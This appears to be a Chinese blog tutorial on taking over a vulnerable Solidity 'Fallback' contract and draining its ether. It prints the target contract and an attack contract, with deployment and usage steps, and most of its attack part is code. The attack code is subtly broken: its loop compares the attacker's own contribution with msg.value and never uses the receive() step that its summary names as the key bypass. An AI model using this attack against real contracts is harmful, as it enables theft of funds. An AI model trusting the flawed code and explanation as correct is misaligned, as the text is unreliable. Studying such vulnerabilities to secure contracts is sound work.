当前位置: 首页 > article >正文

通过智能合约攻击漏洞:夺取合约所有权并提取余额

简介
在这篇文章中,我们将探讨如何利用 Solidity 编写攻击合约,以夺取目标合约的所有权并提取其余额。我们将通过与合约的 ABI 进行交互,以及如何使用 receive() 函数来改变合约的所有权,从而实现这一目标。

背景:目标合约
我们首先来看一个简单的合约——Fallback,它允许用户通过贡献以太币(ether)成为合约的所有者,并且合约有一个 withdraw() 函数让当前所有者提取合约的余额。其代码如下:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
contract Fallback {
    mapping(address => uint256) public contributions;
    address public owner;
 
    constructor() {
        owner = msg.sender;
        contributions[msg.sender] = 1000 * (1 ether);
    }
 
    modifier onlyOwner() {
        require(msg.sender == owner, "caller is not the owner");
        _;
    }
 
    function contribute() public payable {
        require(msg.value < 0.001 ether);
        contributions[msg.sender] += msg.value;
        if (contributions[msg.sender] > contributions[owner]) {
            owner = msg.sender;
        }
    }
 
    function getContribution() public view returns (uint256) {
        return contributions[msg.sender];
    }
 
    function withdraw() public onlyOwner {
        payable(owner).transfer(address(this).balance);
    }
 
    receive() external payable {
        require(msg.value > 0 && contributions[msg.sender] > 0);
        owner = msg.sender;
    }
}
合约功能概述:
贡献(contribute()):用户可以向合约贡献少于 0.001 ether,每次贡献都会增加该用户的总贡献。如果贡献超越当前所有者的贡献金额,则合约所有者会被更改为该用户。
所有者提款(withdraw()):只有当前所有者可以调用此函数将合约中的 ether 提取到其地址。
回退函数(receive()):当合约接收到 ether 时,如果调用者的贡献金额大于 0,则合约所有者会被更新为该调用者。
攻击目标
通过以上分析,我们的攻击目标是:

获得合约的所有权:通过贡献足够的 ether,使自己的贡献超越合约当前的所有者。
提取合约余额:一旦成为所有者,就能够调用 withdraw() 函数将合约中的余额提取出来。
攻击策略
为了实现攻击,我们需要与合约进行交互,逐步增加我们的贡献,直到超过当前所有者的贡献。然后,我们将提取合约中的余额。我们可以通过编写一个攻击合约来实现这一过程。

攻击合约代码
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
 
interface Fallback {
    function contribute() external payable;
    function withdraw() external;
    function getContribution() external view returns (uint256);
}
 
contract Attack {
    Fallback public fallbackContract;
 
    // 构造函数,初始化目标合约的地址
    constructor(address _fallbackContract) {
        fallbackContract = Fallback(_fallbackContract);
    }
 
    // 攻击函数,通过多次调用 contribute() 来逐步增加贡献,直到超越所有者的贡献
    function attack() public payable {
        require(msg.value > 0, "Need to send ether to attack");
 
        // 反复调用 contribute() 直到贡献超过合约当前所有者
        while (fallbackContract.getContribution() <= msg.value) {
            fallbackContract.contribute{value: 0.0001 ether}();
        }
    }
 
    // 提取合约余额
    function withdraw() public {
        fallbackContract.withdraw();
    }
 
    // 回退函数,以便接收 ether
    receive() external payable {}
}
攻击合约功能:
接口 Fallback:我们定义了目标合约 Fallback 的接口,以便可以与目标合约进行交互。
构造函数:在构造函数中,我们初始化目标合约的地址。
攻击函数 attack():该函数接收一定量的 ether,并多次调用 contribute(),每次贡献少于 0.001 ether,直到超过当前所有者的贡献金额。
提款函数 withdraw():一旦成为所有者,我们可以调用 withdraw() 函数将合约中的余额提取出来。
回退函数 receive():此函数使合约能够接收 ether,保证攻击合约可以处理任何通过 receive() 发送的 ether。
使用攻击合约
部署攻击合约,并将目标合约的地址作为构造函数参数传递。
调用 attack() 函数并发送一定量的 ether 来逐步增加贡献。
一旦攻击合约成为所有者,调用 withdraw() 函数提取合约余额。
攻击思路总结
通过 ABI 调用 contribute() 函数:通过反复调用 contribute() 函数,每次贡献少于 0.001 ether,直到超过当前所有者的贡献金额。
绕过 ABI 限制:通过直接调用 receive() 函数向合约发送 ether,只要贡献金额大于 0,合约的所有者就会被更改。
提取合约余额:一旦成为所有者,就可以调用 withdraw() 函数将合约中的 ether 提取出来。
安全性考虑
这个合约暴露了几个潜在的安全漏洞,特别是允许用户通过贡献少量 ether 来成为合约的所有者。这使得恶意用户可以轻松夺取合约的所有权并提取其余额。为了避免这种攻击,开发者应该:

限制用户的贡献上限。
使用更强的所有权管理机制,如多签钱包或权限控制。
结论
本案例展示了如何利用 Solidity 中的智能合约漏洞,通过精确控制 ether 的贡献金额来夺取合约所有权并提取余额。通过理解和实践这些攻击技巧,开发者能够提高合约的安全性,避免常见的攻击模式。这也提醒我们,编写安全的智能合约时,应该考虑各种潜在的攻击向量。


http://www.kler.cn/a/507255.html

相关文章:

  • 在Mac mini上实现本地话部署AI和知识库
  • 【常见BUG】Spring Boot 和 Springfox(Swagger)版本兼容问题
  • MySQL(七)MySQL和Oracle、PostgreSQL的区别
  • 接口测试自动化实战(超详细的)
  • C++ 的 CTAD 与推断指示(Deduction Guides)
  • 使用docker-compose安装ELK(elasticsearch,logstash,kibana)并简单使用
  • 立创开发板入门第六课 音频-扬声器和麦克风 I2S驱动
  • 3 前端(上): Web开发相关概念 、HTML语法、CSS语法
  • 【Golang 面试题】每日 3 题(三十)
  • MiniCPM-o 2.6:开源大型语言模型在多模态任务上超越GPT-4o和Claude 3.5
  • 【Vue】Vue组件--下
  • Linux和Docker常用终端命令:保姆级图文详解
  • Apache Hop从入门到精通 第三课 Apache Hop下载安装
  • 微服务的自我修养:从拆分到秩序的进化论
  • Redis监控系统:基于Redis Exporter的性能指标可视化
  • 二进制/源码编译安装mysql 8.0
  • Visual Studio Community 2022(VS2022)安装方法
  • 【Pico串流预览】使用“PICO Unity Live Preview Plugin”和PDC工具进行实时预览
  • JAVA实现五子棋小游戏(附源码)
  • SQL Prompt 插件
  • K8S中的Pod调度之定向调度
  • Python时间序列分析:使用TSFresh进行自动化特征提取
  • docker安装Nginx UI
  • nginx 配置代理,根据 不同的请求头进行转发至不同的代理
  • 使用 Wireshark 分析 TCP 吞吐瓶颈
  • 用java实现一个猜拳小游戏